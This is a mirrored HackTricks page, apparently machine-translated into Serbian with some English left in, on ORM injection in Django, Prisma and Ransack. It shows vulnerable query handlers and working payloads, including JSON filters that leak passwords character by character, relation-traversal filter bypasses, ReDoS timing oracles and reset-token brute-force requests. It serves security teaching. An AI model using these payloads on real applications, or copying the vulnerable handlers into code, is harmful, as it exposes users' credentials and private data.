mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
336 lines
11 KiB
Markdown
336 lines
11 KiB
Markdown
|
# ORM Injection
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Django ORM (Python)
|
|||
|
|
|||
|
U [**ovom postu**](https://www.elttam.com/blog/plormbing-your-django-orm/) objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je:
|
|||
|
|
|||
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
|||
|
"""
|
|||
|
Neki osnovni API prikaz na koji korisnici šalju zahteve za
|
|||
|
pretragu članaka
|
|||
|
"""
|
|||
|
def post(self, request: Request, format=None):
|
|||
|
try:
|
|||
|
<strong> articles = Article.objects.filter(**request.data)
|
|||
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
|||
|
except Exception as e:
|
|||
|
return Response([])
|
|||
|
return Response(serializer.data)
|
|||
|
</code></pre>
|
|||
|
|
|||
|
Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da **filtriraju objekte iz baze podataka**. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje.
|
|||
|
|
|||
|
Primeri:
|
|||
|
|
|||
|
* **Login:** U jednostavnom prijavljivanju pokušajte da iscurite lozinke korisnika registrovanih unutar njega.
|
|||
|
```json
|
|||
|
{
|
|||
|
"username": "admin",
|
|||
|
"password_startswith":"a"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Relacijsko filtriranje**: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
|||
|
```json
|
|||
|
{
|
|||
|
"created_by__user__password__contains":"pass"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
Moguće je pronaći lozinku svih korisnika koji su kreirali članak
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
|||
|
```json
|
|||
|
{
|
|||
|
"created_by__departments__employees__user_startswith":"admi"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke).
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Zloupotreba Django Group i Permission mnogu-na-mnogu odnosa sa korisnicima**: Štaviše, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **mnogu-na-mnogu odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**.
|
|||
|
```bash
|
|||
|
# By users in the same group
|
|||
|
created_by__user__groups__user__password
|
|||
|
|
|||
|
# By users with the same permission
|
|||
|
created_by__user__user_permissions__user__password
|
|||
|
```
|
|||
|
* **Obiđi filter restrikcije**: Isti blog post je predložio da se obiđu neka filtriranja kao što je `articles = Article.objects.filter(is_secret=False, **request.data)`. Moguće je izvući članke koji imaju is\_secret=True jer možemo da se vratimo iz veze u tabelu Article i da procurimo tajne članke iz ne-tajnih članaka jer su rezultati spojeni i is\_secret polje se proverava u ne-tajnom članku dok se podaci procuruju iz tajnog članka.
|
|||
|
```bash
|
|||
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Greška/Na osnovu vremena putem ReDoS**: U prethodnim primerima se očekivalo da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl.
|
|||
|
```json
|
|||
|
// Non matching password
|
|||
|
{
|
|||
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
|||
|
}
|
|||
|
|
|||
|
// ReDoS matching password (will show some error in the response or check the time)
|
|||
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
|||
|
```
|
|||
|
From te same post regarding this vector:
|
|||
|
|
|||
|
* **SQLite**: Nema regexp operator po defaultu (zahteva učitavanje treće strane ekstenzije)
|
|||
|
* **PostgreSQL**: Nema podrazumevani regex timeout i manje je podložan backtrackingu
|
|||
|
* **MariaDB**: Nema regex timeout
|
|||
|
|
|||
|
## Prisma ORM (NodeJS)
|
|||
|
|
|||
|
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
|||
|
|
|||
|
* **Full find control**:
|
|||
|
|
|||
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
|||
|
|
|||
|
app.use(express.json());
|
|||
|
|
|||
|
app.post('/articles/verybad', async (req, res) => {
|
|||
|
try {
|
|||
|
// Attacker has full control of all prisma options
|
|||
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
|||
|
</strong> res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
</code></pre>
|
|||
|
|
|||
|
It's possible to see that the whole javascript body is passed to prisma to perform queries.
|
|||
|
|
|||
|
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
|
|||
|
```json
|
|||
|
{
|
|||
|
"filter": {
|
|||
|
"include": {
|
|||
|
"createdBy": true
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Response
|
|||
|
[
|
|||
|
{
|
|||
|
"id": 1,
|
|||
|
"title": "Buy Our Essential Oils",
|
|||
|
"body": "They are very healthy to drink",
|
|||
|
"published": true,
|
|||
|
"createdById": 1,
|
|||
|
"createdBy": {
|
|||
|
"email": "karen@example.com",
|
|||
|
"id": 1,
|
|||
|
"isAdmin": false,
|
|||
|
"name": "karen",
|
|||
|
"password": "super secret passphrase",
|
|||
|
"resetToken": "2eed5e80da4b7491"
|
|||
|
}
|
|||
|
},
|
|||
|
...
|
|||
|
]
|
|||
|
```
|
|||
|
Следећи упит бира све објаве које је креирао неко са лозинком и враћа лозинку:
|
|||
|
```json
|
|||
|
{
|
|||
|
"filter": {
|
|||
|
"select": {
|
|||
|
"createdBy": {
|
|||
|
"select": {
|
|||
|
"password": true
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Response
|
|||
|
[
|
|||
|
{
|
|||
|
"createdBy": {
|
|||
|
"password": "super secret passphrase"
|
|||
|
}
|
|||
|
},
|
|||
|
...
|
|||
|
]
|
|||
|
```
|
|||
|
* **Potpuna kontrola where klauzule**:
|
|||
|
|
|||
|
Pogledajmo ovo gde napadač može kontrolisati `where` klauzulu:
|
|||
|
|
|||
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
|||
|
try {
|
|||
|
const posts = await prisma.article.findMany({
|
|||
|
<strong> where: req.query.filter as any // Podložan ORM leak-ovima
|
|||
|
</strong> })
|
|||
|
res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
</code></pre>
|
|||
|
|
|||
|
Moguće je direktno filtrirati lozinku korisnika kao:
|
|||
|
```javascript
|
|||
|
await prisma.article.findMany({
|
|||
|
where: {
|
|||
|
createdBy: {
|
|||
|
password: {
|
|||
|
startsWith: "pas"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
})
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
Korišćenjem operacija kao što je `startsWith` moguće je otkriti informacije. 
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Zaobilaženje filtriranja u mnogim-relacijama:** 
|
|||
|
```javascript
|
|||
|
app.post('/articles', async (req, res) => {
|
|||
|
try {
|
|||
|
const query = req.body.query;
|
|||
|
query.published = true;
|
|||
|
const posts = await prisma.article.findMany({ where: query })
|
|||
|
res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
```
|
|||
|
Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između `Category` -\[\*..\*]-> `Article`:
|
|||
|
```json
|
|||
|
{
|
|||
|
"query": {
|
|||
|
"categories": {
|
|||
|
"some": {
|
|||
|
"articles": {
|
|||
|
"some": {
|
|||
|
"published": false,
|
|||
|
"{articleFieldToLeak}": {
|
|||
|
"startsWith": "{testStartsWith}"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
Takođe je moguće leak-ovati sve korisnike zloupotrebom nekih loop back many-to-many odnosa:
|
|||
|
```json
|
|||
|
{
|
|||
|
"query": {
|
|||
|
"createdBy": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"{fieldToLeak}": {
|
|||
|
"startsWith": "{testStartsWith}"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
* **Greške/Upitnici sa vremenskim odlaganjem**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
|
|||
|
```json
|
|||
|
{
|
|||
|
"OR": [
|
|||
|
{
|
|||
|
"NOT": {ORM_LEAK}
|
|||
|
},
|
|||
|
{CONTAINS_LIST}
|
|||
|
]
|
|||
|
}
|
|||
|
```
|
|||
|
Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgovor bude odložen kada se pronađe ispravna leak.**
|
|||
|
|
|||
|
## **Ransack (Ruby)**
|
|||
|
|
|||
|
Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
**Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne dozvoljene liste za pretražive atribute i asocijacije.**
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
**Vulnerable example:**
|
|||
|
```ruby
|
|||
|
def index
|
|||
|
@q = Post.ransack(params[:q])
|
|||
|
@posts = @q.result(distinct: true)
|
|||
|
end
|
|||
|
```
|
|||
|
Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force napad na reset token sa:
|
|||
|
```http
|
|||
|
GET /posts?q[user_reset_password_token_start]=0
|
|||
|
GET /posts?q[user_reset_password_token_start]=1
|
|||
|
...
|
|||
|
```
|
|||
|
By brute-forcing and potentially relationships it was possible to leak more data from a database.
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
|||
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
|||
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|